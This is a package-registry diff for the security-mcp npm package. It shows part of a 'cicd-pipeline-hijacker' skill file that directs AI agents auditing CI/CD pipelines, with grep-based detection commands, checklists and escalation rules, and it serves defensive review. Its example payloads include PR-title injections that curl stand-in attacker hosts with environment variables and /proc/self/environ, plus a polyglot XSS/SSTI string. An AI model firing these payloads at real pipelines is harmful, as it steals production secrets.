security-mcp 1.1.3 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +164 -185
- package/defaults/checklists/ai.json +20 -1
- package/defaults/checklists/api.json +35 -1
- package/defaults/checklists/infra.json +34 -1
- package/defaults/checklists/mobile.json +23 -1
- package/defaults/checklists/payments.json +15 -1
- package/defaults/checklists/web.json +11 -1
- package/defaults/control-catalog.json +200 -0
- package/defaults/security-policy.json +2 -2
- package/dist/cli/index.js +82 -5
- package/dist/cli/install.js +36 -6
- package/dist/cli/onboarding.js +6 -0
- package/dist/gate/baseline.js +82 -7
- package/dist/gate/catalog.js +10 -2
- package/dist/gate/checks/ai.js +757 -39
- package/dist/gate/checks/auth-deep.js +935 -0
- package/dist/gate/checks/business-logic.js +751 -0
- package/dist/gate/checks/ci-pipeline.js +399 -4
- package/dist/gate/checks/crypto.js +423 -2
- package/dist/gate/checks/dependencies.js +571 -15
- package/dist/gate/checks/graphql.js +201 -19
- package/dist/gate/checks/infra.js +246 -1
- package/dist/gate/checks/injection-deep.js +848 -0
- package/dist/gate/checks/k8s.js +114 -1
- package/dist/gate/checks/mobile-android.js +917 -3
- package/dist/gate/checks/mobile-ios.js +797 -5
- package/dist/gate/checks/required-artifacts.js +194 -0
- package/dist/gate/checks/runtime.js +178 -0
- package/dist/gate/checks/secrets.js +244 -13
- package/dist/gate/checks/supply-chain-deep.js +787 -0
- package/dist/gate/checks/web-nextjs.js +572 -48
- package/dist/gate/diff.js +17 -5
- package/dist/gate/evidence.js +8 -1
- package/dist/gate/exceptions.js +131 -9
- package/dist/gate/policy.js +282 -129
- package/dist/mcp/audit-chain.js +122 -28
- package/dist/mcp/auth.js +169 -0
- package/dist/mcp/learning.js +129 -4
- package/dist/mcp/model-router.js +158 -21
- package/dist/mcp/orchestration.js +186 -51
- package/dist/mcp/server.js +608 -94
- package/dist/repo/fs.js +24 -1
- package/dist/repo/search.js +31 -6
- package/dist/review/store.js +52 -1
- package/package.json +7 -7
- package/prompts/SECURITY_PROMPT.md +73 -0
- package/skills/_TEMPLATE/SKILL.md +99 -0
- package/skills/advanced-dos-tester/SKILL.md +109 -0
- package/skills/agentic-loop-exploiter/SKILL.md +368 -0
- package/skills/ai-llm-redteam/SKILL.md +104 -0
- package/skills/ai-model-supply-chain-agent/SKILL.md +103 -0
- package/skills/algorithm-implementation-reviewer/SKILL.md +98 -0
- package/skills/android-penetration-tester/SKILL.md +455 -46
- package/skills/anti-replay-tester/SKILL.md +106 -0
- package/skills/appsec-code-auditor/SKILL.md +120 -0
- package/skills/artifact-integrity-analyst/SKILL.md +441 -0
- package/skills/attack-navigator/SKILL.md +467 -8
- package/skills/auth-session-hacker/SKILL.md +128 -0
- package/skills/aws-penetration-tester/SKILL.md +456 -0
- package/skills/azure-penetration-tester/SKILL.md +490 -3
- package/skills/binary-auth-validator/SKILL.md +111 -0
- package/skills/bot-detection-specialist/SKILL.md +109 -0
- package/skills/business-logic-attacker/SKILL.md +231 -0
- package/skills/capec-code-mapper/SKILL.md +84 -0
- package/skills/cert-pin-rotation-specialist/SKILL.md +112 -0
- package/skills/cicd-pipeline-hijacker/SKILL.md +405 -0
- package/skills/ciso-orchestrator/SKILL.md +454 -43
- package/skills/cloud-infra-specialist/SKILL.md +118 -0
- package/skills/compliance-gap-analyst/SKILL.md +422 -0
- package/skills/compliance-grc/SKILL.md +85 -0
- package/skills/compliance-lifecycle-tracker/SKILL.md +84 -0
- package/skills/credential-stuffing-specialist/SKILL.md +102 -0
- package/skills/crypto-pki-specialist/SKILL.md +87 -0
- package/skills/csa-ccm-mapper/SKILL.md +84 -0
- package/skills/csf2-governance-mapper/SKILL.md +84 -0
- package/skills/deep-link-fuzzer/SKILL.md +109 -0
- package/skills/dependency-confusion-attacker/SKILL.md +415 -0
- package/skills/device-integrity-aggregator/SKILL.md +108 -0
- package/skills/dos-resilience-tester/SKILL.md +97 -0
- package/skills/dread-scorer/SKILL.md +84 -0
- package/skills/egress-policy-enforcer/SKILL.md +99 -0
- package/skills/evidence-collector/SKILL.md +98 -0
- package/skills/file-upload-attacker/SKILL.md +109 -0
- package/skills/gcp-penetration-tester/SKILL.md +459 -2
- package/skills/git-history-secret-scanner/SKILL.md +106 -0
- package/skills/iam-privesc-graph-builder/SKILL.md +152 -0
- package/skills/incident-responder/SKILL.md +111 -0
- package/skills/injection-specialist/SKILL.md +131 -0
- package/skills/ios-security-auditor/SKILL.md +282 -0
- package/skills/json-ambiguity-tester/SKILL.md +0 -0
- package/skills/k8s-container-escaper/SKILL.md +384 -0
- package/skills/key-management-lifecycle-analyst/SKILL.md +98 -0
- package/skills/kill-switch-engineer/SKILL.md +102 -0
- package/skills/linddun-privacy-analyst/SKILL.md +102 -0
- package/skills/logic-race-fuzzer/SKILL.md +443 -0
- package/skills/mobile-api-network-attacker/SKILL.md +421 -0
- package/skills/mobile-binary-hardener/SKILL.md +102 -0
- package/skills/mobile-security-specialist/SKILL.md +85 -0
- package/skills/mobile-webview-auditor/SKILL.md +96 -0
- package/skills/model-extraction-attacker/SKILL.md +219 -0
- package/skills/multipart-abuse-tester/SKILL.md +84 -0
- package/skills/oauth-pkce-specialist/SKILL.md +104 -0
- package/skills/parser-exhaustion-tester/SKILL.md +142 -0
- package/skills/pentest-infra/SKILL.md +141 -0
- package/skills/pentest-social/SKILL.md +201 -0
- package/skills/pentest-team/SKILL.md +134 -0
- package/skills/pentest-web-api/SKILL.md +151 -0
- package/skills/privacy-flow-analyst/SKILL.md +234 -0
- package/skills/prompt-injection-specialist/SKILL.md +394 -0
- package/skills/quantum-migration-planner/SKILL.md +96 -0
- package/skills/rag-poisoning-specialist/SKILL.md +358 -0
- package/skills/registry-mirror-enforcer/SKILL.md +84 -0
- package/skills/rotation-validation-agent/SKILL.md +112 -0
- package/skills/samm-assessor/SKILL.md +85 -0
- package/skills/secrets-mask-bypass-tester/SKILL.md +100 -0
- package/skills/senior-security-engineer/SKILL.md +370 -2
- package/skills/serialization-memory-attacker/SKILL.md +332 -0
- package/skills/session-timeout-tester/SKILL.md +161 -0
- package/skills/slsa-level3-enforcer/SKILL.md +112 -0
- package/skills/slsa-provenance-enforcer/SKILL.md +102 -0
- package/skills/ssrf-detection-validator/SKILL.md +108 -0
- package/skills/step-up-auth-enforcer/SKILL.md +84 -0
- package/skills/stride-pasta-analyst/SKILL.md +420 -0
- package/skills/supply-chain-devsecops/SKILL.md +98 -0
- package/skills/threat-infrastructure-analyst/SKILL.md +84 -0
- package/skills/threat-modeler/SKILL.md +85 -0
- package/skills/tls-certificate-auditor/SKILL.md +573 -18
- package/skills/token-reuse-detector/SKILL.md +95 -0
- package/skills/trike-risk-modeler/SKILL.md +84 -0
- package/skills/unicode-homograph-tester/SKILL.md +84 -0
- package/skills/waf-rule-lifecycle-agent/SKILL.md +97 -0
- package/skills/webhook-security-tester/SKILL.md +102 -0
- package/skills/zero-trust-architect/SKILL.md +109 -0
|
@@ -79,3 +79,408 @@ If internet permitted:
|
|
|
79
79
|
- Attack scenario (who can exploit, what secret is exfiltrated, what deployment is hijacked)
|
|
80
80
|
- Fixed workflow YAML written inline
|
|
81
81
|
- §6 pipeline gate status (present/missing per gate type)
|
|
82
|
+
|
|
83
|
+
Every findings JSON MUST include `intelligenceForOtherAgents`:
|
|
84
|
+
```json
|
|
85
|
+
{
|
|
86
|
+
"intelligenceForOtherAgents": {
|
|
87
|
+
"forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "...", "exploitHint": "..." }],
|
|
88
|
+
"forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "...", "location": "..." }],
|
|
89
|
+
"forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "...", "escalationPath": "..." }],
|
|
90
|
+
"forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["..."], "releaseBlock": true }]
|
|
91
|
+
}
|
|
92
|
+
}
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## BEYOND SKILL.MD — MANDATORY EXPANSIONS
|
|
98
|
+
|
|
99
|
+
### 1. Dependency Confusion / Namespace Squatting in Build Pipelines (CVE-2021-22005 class)
|
|
100
|
+
|
|
101
|
+
**Technique:** When a private package registry is configured but public registry fallback is
|
|
102
|
+
enabled, an attacker registers a public package with the same name as an internal package at
|
|
103
|
+
a higher version number. npm/pip/Maven resolves the highest version, pulling attacker code
|
|
104
|
+
into the build.
|
|
105
|
+
|
|
106
|
+
**Detection:**
|
|
107
|
+
```bash
|
|
108
|
+
# Check for dual-registry npm configs without scope-locking
|
|
109
|
+
grep -r "registry" .npmrc .yarnrc .yarnrc.yml package.json
|
|
110
|
+
# Finding: registry set globally without per-scope pinning to internal registry
|
|
111
|
+
grep -r "strict-ssl\|always-auth" .npmrc
|
|
112
|
+
# Check Gemfile/requirements.txt/pom.xml for internal-only package names
|
|
113
|
+
```
|
|
114
|
+
**Finding constitutes:** Any pipeline that installs packages without `--prefer-offline` or
|
|
115
|
+
scope-locked registry config, where internal package names are discoverable.
|
|
116
|
+
|
|
117
|
+
### 2. GitHub Actions Expression Injection via `toJSON()` (GHSL-2021-219 class)
|
|
118
|
+
|
|
119
|
+
**Technique:** GitHub Actions `toJSON(github.event)` or individual PR-event fields
|
|
120
|
+
(`github.event.pull_request.body`, `github.event.issue.title`) embedded inside `run:` steps
|
|
121
|
+
allow attacker-controlled content to break out of the shell context. Classic payload:
|
|
122
|
+
`"; curl https://evil.com/$(cat /proc/self/environ | base64) #`
|
|
123
|
+
|
|
124
|
+
**Detection:**
|
|
125
|
+
```bash
|
|
126
|
+
grep -rn "github\.event\." .github/workflows/ | grep -v "if:" | grep "run:"
|
|
127
|
+
grep -rn "\${{ github\.event\.pull_request\." .github/workflows/
|
|
128
|
+
grep -rn "\${{ github\.event\.issue\." .github/workflows/
|
|
129
|
+
grep -rn "\${{ github\.event\.comment\." .github/workflows/
|
|
130
|
+
```
|
|
131
|
+
**Finding constitutes:** Any `${{ github.event.* }}` interpolation that appears inside a
|
|
132
|
+
`run:` block without intermediate `env:` variable assignment (which forces shell escaping).
|
|
133
|
+
|
|
134
|
+
### 3. Poisoned Pipeline Execution (PPE) via `.github/workflows` in Fork PRs
|
|
135
|
+
|
|
136
|
+
**Technique:** `pull_request_target` runs in the base repo's context with full secrets access
|
|
137
|
+
but checks out the fork's code. Attacker opens a PR from a fork that modifies workflow files
|
|
138
|
+
or referenced scripts; the workflow executes attacker-controlled steps with production secrets.
|
|
139
|
+
Research published by Argon Security (2021), now codified as MITRE ATT&CK T1195.001.
|
|
140
|
+
|
|
141
|
+
**Detection:**
|
|
142
|
+
```bash
|
|
143
|
+
# CRITICAL: find pull_request_target triggers
|
|
144
|
+
grep -rn "pull_request_target" .github/workflows/
|
|
145
|
+
# Then check if any such workflow checks out PR head
|
|
146
|
+
grep -A 20 "pull_request_target" .github/workflows/*.yml | grep -E "ref.*head|checkout.*head"
|
|
147
|
+
```
|
|
148
|
+
**Finding constitutes:** `pull_request_target` trigger + `actions/checkout` using
|
|
149
|
+
`ref: ${{ github.event.pull_request.head.sha }}` or `ref: ${{ github.head_ref }}`.
|
|
150
|
+
|
|
151
|
+
### 4. OIDC Audience Bypass and Overly Broad Subject Claims
|
|
152
|
+
|
|
153
|
+
**Technique:** GitHub Actions OIDC tokens carry a `sub` (subject) claim like
|
|
154
|
+
`repo:org/repo:ref:refs/heads/main`. If an AWS IAM role's trust policy uses only
|
|
155
|
+
`repo:org/repo` in the condition (missing the `ref` component), any branch — including an
|
|
156
|
+
attacker's PR branch — can assume the production role. This maps to the 2023 Datadog
|
|
157
|
+
incident and multiple public GitHub Security Lab disclosures.
|
|
158
|
+
|
|
159
|
+
**Detection:**
|
|
160
|
+
```bash
|
|
161
|
+
# Find OIDC usage in workflows
|
|
162
|
+
grep -rn "id-token\|oidc\|aws-actions/configure-aws-credentials" .github/workflows/
|
|
163
|
+
# Find trust policy definitions in Terraform/CloudFormation
|
|
164
|
+
grep -rn "StringLike\|StringEquals" infra/ terraform/ | grep -i "token.actions"
|
|
165
|
+
# Finding: subject condition missing ref: clause or using StringLike with wildcard
|
|
166
|
+
grep -rn "repo:\*\|:*\"" infra/ terraform/ | grep -i "token.actions"
|
|
167
|
+
```
|
|
168
|
+
**Finding constitutes:** Trust policy `StringLike` condition on OIDC sub that permits any
|
|
169
|
+
branch (`*`) to assume a role that has write access to production resources.
|
|
170
|
+
|
|
171
|
+
### 5. Self-Hosted Runner Persistence via T1053.005 (Scheduled Task / Cron)
|
|
172
|
+
|
|
173
|
+
**Technique:** A self-hosted GitHub Actions runner executes as a service account on a
|
|
174
|
+
persistent VM or container. An attacker who achieves code execution within a CI job
|
|
175
|
+
(via injection or supply chain) can write a crontab entry, systemd timer, or launch daemon
|
|
176
|
+
that survives across job boundaries, effectively APT-persisting on the runner host and
|
|
177
|
+
intercepting future secrets from all jobs that use that runner.
|
|
178
|
+
|
|
179
|
+
**Detection:**
|
|
180
|
+
```bash
|
|
181
|
+
# Identify self-hosted runner usage
|
|
182
|
+
grep -rn "runs-on: self-hosted\|runs-on:.*self-hosted" .github/workflows/
|
|
183
|
+
# Check if runners are ephemeral (just-in-time runners) or persistent
|
|
184
|
+
# Check runner registration in org settings; look for runner group isolation
|
|
185
|
+
grep -rn "runs-on:" .github/workflows/ | grep -v "ubuntu-\|windows-\|macos-"
|
|
186
|
+
```
|
|
187
|
+
**Finding constitutes:** `runs-on: self-hosted` or any non-ephemeral runner label on a
|
|
188
|
+
workflow that handles production secrets, without documented ephemeral/JIT runner configuration.
|
|
189
|
+
|
|
190
|
+
### 6. Artifact Poisoning and Build Provenance Gaps (SLSA Levels 0-1)
|
|
191
|
+
|
|
192
|
+
**Technique:** When a CI pipeline uploads build artifacts without cryptographic provenance
|
|
193
|
+
attestation, a compromised intermediate step (build server, artifact store, CDN) can silently
|
|
194
|
+
replace legitimate artifacts with backdoored ones. This is the exact mechanism behind the
|
|
195
|
+
SolarWinds Orion and XZ Utils attacks. SLSA L2+ requires signed provenance; SLSA L3+ requires
|
|
196
|
+
a hermetic, reproducible build.
|
|
197
|
+
|
|
198
|
+
**Detection:**
|
|
199
|
+
```bash
|
|
200
|
+
# Check for SLSA provenance generation
|
|
201
|
+
grep -rn "slsa-framework/slsa-github-generator\|sigstore\|cosign\|in-toto" .github/workflows/
|
|
202
|
+
# Check for artifact signature verification at deploy time
|
|
203
|
+
grep -rn "cosign verify\|slsa-verifier" .github/workflows/ Makefile deploy/
|
|
204
|
+
# Check npm publish workflow for provenance flag
|
|
205
|
+
grep -rn "npm publish\|--provenance" .github/workflows/
|
|
206
|
+
```
|
|
207
|
+
**Finding constitutes:** Any release or deployment pipeline that publishes artifacts,
|
|
208
|
+
container images, or npm packages without SLSA L2 provenance attestation.
|
|
209
|
+
|
|
210
|
+
### 7. AI-Assisted Workflow Generation Introducing New Attack Surfaces (Emerging Threat)
|
|
211
|
+
|
|
212
|
+
**Technique:** Developers increasingly use LLMs (GitHub Copilot, ChatGPT, Claude) to generate
|
|
213
|
+
CI/CD workflow YAML. These tools frequently produce `pull_request_target` triggers, mutable
|
|
214
|
+
SHA tags, `permissions: write-all`, and direct `${{ github.event.* }}` interpolations because
|
|
215
|
+
their training data predates GitHub's security hardening guidance. A single LLM-generated
|
|
216
|
+
workflow in a large repo can introduce a CRITICAL pipeline injection vector.
|
|
217
|
+
|
|
218
|
+
**Detection:**
|
|
219
|
+
```bash
|
|
220
|
+
# Look for recently added workflow files (last 90 days) and audit them specifically
|
|
221
|
+
git log --since="90 days ago" --name-only --diff-filter=A -- ".github/workflows/*.yml"
|
|
222
|
+
# For each new file, run the full injection pattern battery
|
|
223
|
+
grep -n "pull_request_target\|write-all\|github\.event\.\|@v[0-9]" .github/workflows/
|
|
224
|
+
```
|
|
225
|
+
**Finding constitutes:** Any newly added workflow file containing injection-prone patterns,
|
|
226
|
+
regardless of source. Flag for developer education on AI-generated pipeline risks.
|
|
227
|
+
|
|
228
|
+
### 8. Post-Quantum Supply Chain: Signing Key Compromise and Harvest-Now-Decrypt-Later
|
|
229
|
+
|
|
230
|
+
**Technique:** Build pipeline signing keys (GPG keys for apt/rpm repos, code signing
|
|
231
|
+
certificates, npm publish tokens, container image signing keys) generated today using
|
|
232
|
+
RSA-2048 or ECDSA P-256 are vulnerable to harvest-now-decrypt-later attacks. Adversaries
|
|
233
|
+
capturing signed release artifacts and their associated metadata today will be able to
|
|
234
|
+
forge signatures once CRQCs become available (est. 2028-2032). This is especially relevant
|
|
235
|
+
for long-lived software like OS packages, firmware, and enterprise SDKs.
|
|
236
|
+
|
|
237
|
+
**Detection:**
|
|
238
|
+
```bash
|
|
239
|
+
# Find GPG key sizes used for package signing
|
|
240
|
+
grep -rn "gpg --gen-key\|gpg --sign\|KEY_ID\|GPG_PRIVATE_KEY" .github/workflows/ Makefile
|
|
241
|
+
# Check cosign key algorithm in existing signing configs
|
|
242
|
+
find . -name "cosign.key" -o -name "*.pub" | xargs file 2>/dev/null | grep -i "rsa\|ecdsa"
|
|
243
|
+
# Find npm publish auth tokens — check if 2FA/granular tokens are used
|
|
244
|
+
grep -rn "NPM_TOKEN\|NODE_AUTH_TOKEN" .github/workflows/
|
|
245
|
+
```
|
|
246
|
+
**Finding constitutes:** Release pipeline using RSA/ECDSA signing keys with no documented
|
|
247
|
+
migration plan to ML-DSA (FIPS 204) or ML-KEM (FIPS 203) equivalent; any signing key stored
|
|
248
|
+
as a plaintext GitHub secret without rotation policy.
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
## §CICD_PIPELINE_HIJACKER-CHECKLIST
|
|
253
|
+
|
|
254
|
+
1. **pull_request_target checkout of fork head** — Mechanism: `pull_request_target` trigger
|
|
255
|
+
with `actions/checkout` using `ref: ${{ github.event.pull_request.head.sha }}` executes
|
|
256
|
+
attacker code with base-repo secrets. Grep: `grep -rn "pull_request_target" .github/workflows/`
|
|
257
|
+
then check following `checkout` step. Finding: any co-occurrence of trigger + head checkout.
|
|
258
|
+
|
|
259
|
+
2. **Mutable Action SHA pinning** — Mechanism: `uses: org/action@v1` resolves to a mutable
|
|
260
|
+
git tag that can be silently updated by the action author or a compromised account.
|
|
261
|
+
Grep: `grep -rn "uses:.*@v[0-9]\|uses:.*@main\|uses:.*@master" .github/workflows/`
|
|
262
|
+
Finding: any `uses:` not pinned to a full 40-character commit SHA.
|
|
263
|
+
|
|
264
|
+
3. **Expression injection via PR-controlled context values** — Mechanism: `${{ github.event.
|
|
265
|
+
pull_request.title/body/head.ref }}` inside `run:` allows shell breakout.
|
|
266
|
+
Grep: `grep -rn "\${{ github\.event\." .github/workflows/ | grep -v "env:"`.
|
|
267
|
+
Finding: event context directly in `run:` without intermediate `env:` variable.
|
|
268
|
+
|
|
269
|
+
4. **Overly broad GITHUB_TOKEN permissions** — Mechanism: `permissions: write-all` or absent
|
|
270
|
+
`permissions` block grants all tokens write access to code, issues, packages, and secrets.
|
|
271
|
+
Grep: `grep -rn "permissions:" .github/workflows/` — absence of block = finding.
|
|
272
|
+
Finding: any workflow without explicit minimal `permissions` declaration.
|
|
273
|
+
|
|
274
|
+
5. **OIDC subject claim too permissive** — Mechanism: AWS/GCP/Azure trust policy accepting
|
|
275
|
+
`repo:org/repo:*` (wildcard branch) allows PR branches to assume production roles.
|
|
276
|
+
Test: extract trust policy conditions from Terraform/IaC; verify `ref:refs/heads/main`
|
|
277
|
+
is required. Finding: OIDC trust condition missing branch/tag restriction.
|
|
278
|
+
|
|
279
|
+
6. **Self-hosted runner without ephemeral isolation** — Mechanism: persistent runner VMs
|
|
280
|
+
retain filesystem state between jobs, enabling T1053.005 persistence.
|
|
281
|
+
Grep: `grep -rn "runs-on:" .github/workflows/ | grep -v "ubuntu-\|windows-\|macos-"`.
|
|
282
|
+
Finding: any non-GitHub-hosted runner label without documented ephemeral provisioning.
|
|
283
|
+
|
|
284
|
+
7. **Secret leakage into logs or artifacts** — Mechanism: `set -x`, `env` dump, or artifact
|
|
285
|
+
upload of files containing secret values exposes credentials in workflow run logs.
|
|
286
|
+
Grep: `grep -rn "set -x\|printenv\|env\b" .github/workflows/` + check artifact upload paths.
|
|
287
|
+
Finding: any command that could expand secret values into stdout in a `run:` step.
|
|
288
|
+
|
|
289
|
+
8. **Cache key poisoning in shared caches** — Mechanism: cache key includes attacker-controlled
|
|
290
|
+
data (branch name, PR number, file hash of attacker-modified file), allowing cache
|
|
291
|
+
replacement that persists to other branches.
|
|
292
|
+
Grep: `grep -rn "cache-dependency-path\|key:" .github/workflows/ | grep "github\.head_ref\|github\.sha"`.
|
|
293
|
+
Finding: cache key that incorporates PR-contributor-controlled data.
|
|
294
|
+
|
|
295
|
+
9. **Reusable workflow input injection** — Mechanism: caller workflow passes attacker-controlled
|
|
296
|
+
data as `inputs` to a trusted reusable workflow that uses inputs in `run:` steps.
|
|
297
|
+
Grep: `grep -rn "workflow_call" .github/workflows/` then audit `inputs:` usage in `run:`.
|
|
298
|
+
Finding: reusable workflow `inputs` used directly in shell steps without sanitization.
|
|
299
|
+
|
|
300
|
+
10. **Missing pipeline security gates on PR path** — Mechanism: absence of required status
|
|
301
|
+
checks (SAST, SCA, container scan, IaC scan) means vulnerable code reaches production.
|
|
302
|
+
Test: check branch protection rules via `gh api repos/OWNER/REPO/branches/main/protection`.
|
|
303
|
+
Finding: any of CodeQL/Semgrep, Dependabot/Snyk, Trivy/Grype, tfsec/Checkov absent from
|
|
304
|
+
required status checks on the default branch.
|
|
305
|
+
|
|
306
|
+
11. **Artifact without provenance attestation (SLSA gap)** — Mechanism: unsigned artifacts
|
|
307
|
+
allow supply chain substitution between build and deployment.
|
|
308
|
+
Grep: `grep -rn "upload-artifact\|npm publish\|docker push" .github/workflows/` then verify
|
|
309
|
+
corresponding `slsa-github-generator` or `cosign sign` step.
|
|
310
|
+
Finding: any release or publish step without provenance generation.
|
|
311
|
+
|
|
312
|
+
12. **Dependency confusion via public registry fallback** — Mechanism: `.npmrc` or `pip.conf`
|
|
313
|
+
configured with internal registry but no scope-lock, enabling namespace squatting.
|
|
314
|
+
Grep: `grep -rn "registry\|index-url\|extra-index-url" .npmrc .yarnrc pip.conf setup.cfg`.
|
|
315
|
+
Finding: internal registry configured without scope-locking or `--no-dependencies` flag
|
|
316
|
+
preventing public fallback for private package names.
|
|
317
|
+
|
|
318
|
+
---
|
|
319
|
+
|
|
320
|
+
## §POC-REQUIREMENT
|
|
321
|
+
|
|
322
|
+
For every CRITICAL or HIGH finding in this domain:
|
|
323
|
+
|
|
324
|
+
1. **Write the working PoC FIRST** (exact payload, exact request, observed impact)
|
|
325
|
+
2. **Confirm the PoC reproduces the issue**
|
|
326
|
+
3. **THEN write the fix**
|
|
327
|
+
4. **THEN verify the PoC fails against the fix**
|
|
328
|
+
5. **Record the PoC in findings JSON under `exploitPoC`**
|
|
329
|
+
|
|
330
|
+
PoC skipping = finding severity downgraded to MEDIUM automatically.
|
|
331
|
+
|
|
332
|
+
**Example PoC structure for pipeline injection finding:**
|
|
333
|
+
|
|
334
|
+
```json
|
|
335
|
+
{
|
|
336
|
+
"findingId": "CICD-001",
|
|
337
|
+
"severity": "CRITICAL",
|
|
338
|
+
"class": "Pipeline Expression Injection",
|
|
339
|
+
"exploitPoC": {
|
|
340
|
+
"precondition": "Attacker forks repo and opens a PR",
|
|
341
|
+
"payload": "PR title set to: a\"; curl https://attacker.com/$(env | base64 -w0); echo \"",
|
|
342
|
+
"triggerStep": "Push commit to fork branch — workflow triggers on pull_request_target",
|
|
343
|
+
"observedImpact": "HTTP request received at attacker.com containing all environment variables including AWS_SECRET_ACCESS_KEY",
|
|
344
|
+
"reproduced": true,
|
|
345
|
+
"reproductionCommand": "gh pr create --title 'a\"; curl https://[interactsh-url]/$(env|base64 -w0); echo \"' --body test"
|
|
346
|
+
},
|
|
347
|
+
"fix": {
|
|
348
|
+
"description": "Use intermediate env var to force shell quoting",
|
|
349
|
+
"fixedYaml": "env:\n PR_TITLE: ${{ github.event.pull_request.title }}\nrun: echo \"$PR_TITLE\"",
|
|
350
|
+
"pocFailsAfterFix": true
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
---
|
|
356
|
+
|
|
357
|
+
## §PROJECT-ESCALATION
|
|
358
|
+
|
|
359
|
+
Immediately call `orchestration.update_agent_status` with `"CRITICAL_ESCALATION"` and halt
|
|
360
|
+
other findings collection to alert the orchestrator under ANY of these conditions:
|
|
361
|
+
|
|
362
|
+
1. **Live secret confirmed exfiltrated from pipeline logs** — A GitHub Actions or CI log
|
|
363
|
+
contains a plaintext AWS key, GitHub PAT, npm token, or other credential that is currently
|
|
364
|
+
valid. The credential must be rotated before any further analysis proceeds. Exfiltration
|
|
365
|
+
window is open right now.
|
|
366
|
+
|
|
367
|
+
2. **Production deployment reachable from fork PR without approval** — `pull_request_target`
|
|
368
|
+
+ checkout of fork head + production secrets in the same workflow = an unauthenticated
|
|
369
|
+
external contributor can deploy arbitrary code to production infrastructure in a single PR.
|
|
370
|
+
This is an active critical attack surface.
|
|
371
|
+
|
|
372
|
+
3. **OIDC trust policy allows any branch to assume a production IAM/GCP role** — An attacker
|
|
373
|
+
opening any PR branch can obtain cloud credentials scoped to production resources. This is
|
|
374
|
+
equivalent to a publicly exposed production credentials endpoint.
|
|
375
|
+
|
|
376
|
+
4. **Self-hosted runner confirmed to have persistent attacker artifact** — Evidence of a
|
|
377
|
+
cron entry, systemd service, SSH authorized_keys modification, or `.bashrc`/`.profile`
|
|
378
|
+
modification in a runner's filesystem that was introduced by a CI job. Active compromise
|
|
379
|
+
of build infrastructure.
|
|
380
|
+
|
|
381
|
+
5. **Third-party Action at mutable tag confirmed to be backdoored** — SHA mismatch between
|
|
382
|
+
the tag the workflow references and the expected content, or a known-malicious SHA
|
|
383
|
+
identified via GitHub Security Advisory or supply chain threat intelligence feed.
|
|
384
|
+
Equivalent to a confirmed malware insertion in the build toolchain.
|
|
385
|
+
|
|
386
|
+
6. **Secrets committed to workflow file or `.env` file in repository** — Hardcoded API keys,
|
|
387
|
+
tokens, or credentials found directly in workflow YAML, `Makefile`, or environment files
|
|
388
|
+
that are committed to git history. Requires immediate rotation and git history purge.
|
|
389
|
+
|
|
390
|
+
7. **No security gates on any path to production** — Zero SAST, SCA, container, or IaC
|
|
391
|
+
checks required before production deployment, AND deployment is automated on merge to main.
|
|
392
|
+
Combined with a single injection finding, this represents full, undetected compromise-to-
|
|
393
|
+
production capability.
|
|
394
|
+
|
|
395
|
+
8. **Evidence of CI/CD pipeline compromise in git history** — Unexpected workflow file
|
|
396
|
+
modification by a non-core contributor, anomalous commit patterns, or workflow modifications
|
|
397
|
+
that occurred without a corresponding PR review. Indicates pipeline may already be
|
|
398
|
+
compromised; all artifacts produced since the suspicious commit are potentially tainted.
|
|
399
|
+
|
|
400
|
+
---
|
|
401
|
+
|
|
402
|
+
## §EDGE-CASE-MATRIX
|
|
403
|
+
|
|
404
|
+
The 5 attack cases in this domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
|
|
405
|
+
|
|
406
|
+
| # | Edge Case | Why Scanners Miss It | Concrete Test |
|
|
407
|
+
|---|-----------|----------------------|---------------|
|
|
408
|
+
| 1 | Second-order / stored payload executed in different context | Scanner checks input context, not execution context | Store payload safely; trigger in separate request/session |
|
|
409
|
+
| 2 | Unicode normalisation bypass | Regex filters run before normalisation; attacker uses homoglyphs or composed forms | Submit Ⅰ (U+2160) or < (U+FF1C) variants of known-bad strings |
|
|
410
|
+
| 3 | Polyglot payload active in multiple sinks simultaneously | Scanners test one injection class per payload | `'"><script>{{7*7}}</script><!--` — SQL + XSS + SSTI in one request |
|
|
411
|
+
| 4 | Out-of-band exfiltration (DNS/HTTP callback) | Scanner looks for inline response difference; OOB leaves no visible trace | Use Burp Collaborator / interactsh; inject DNS lookup payload |
|
|
412
|
+
| 5 | Race condition between check and use (TOCTOU) | Sequential scanners don't model concurrency | Send two simultaneous requests to the same state-changing endpoint |
|
|
413
|
+
|
|
414
|
+
---
|
|
415
|
+
|
|
416
|
+
## §TEMPORAL-THREATS
|
|
417
|
+
|
|
418
|
+
Threats materialising in the 2025–2030 window that defences designed today must account for.
|
|
419
|
+
|
|
420
|
+
| Threat | Est. Timeline | Relevance to This Domain | Prepare Now By |
|
|
421
|
+
|--------|--------------|--------------------------|----------------|
|
|
422
|
+
| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | Harvest-now-decrypt-later attacks active today; RSA/ECDSA keys signed today will be broken | Inventory all RSA/ECDSA usage; migrate long-lived data to ML-KEM (FIPS 203) |
|
|
423
|
+
| AI-assisted adversaries at scale | 2025–2027 (active) | LLM-powered fuzzing finds 10× more edge cases; automated PoC generation | Assume attackers have LLM help; expand test surface to match |
|
|
424
|
+
| EU AI Act full enforcement | 2026 | High-risk AI systems require mandatory conformity assessments | Classify all AI features against AI Act tiers now |
|
|
425
|
+
| Post-quantum TLS migration deadline | 2028–2030 | Browser vendors will drop classical-only TLS connections | Begin TLS agility assessment; test hybrid key exchange |
|
|
426
|
+
| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM and SLSA attestation are becoming legally required | Achieve SLSA L2 minimum; generate CycloneDX SBOM per release |
|
|
427
|
+
|
|
428
|
+
---
|
|
429
|
+
|
|
430
|
+
## §DETECTION-GAP
|
|
431
|
+
|
|
432
|
+
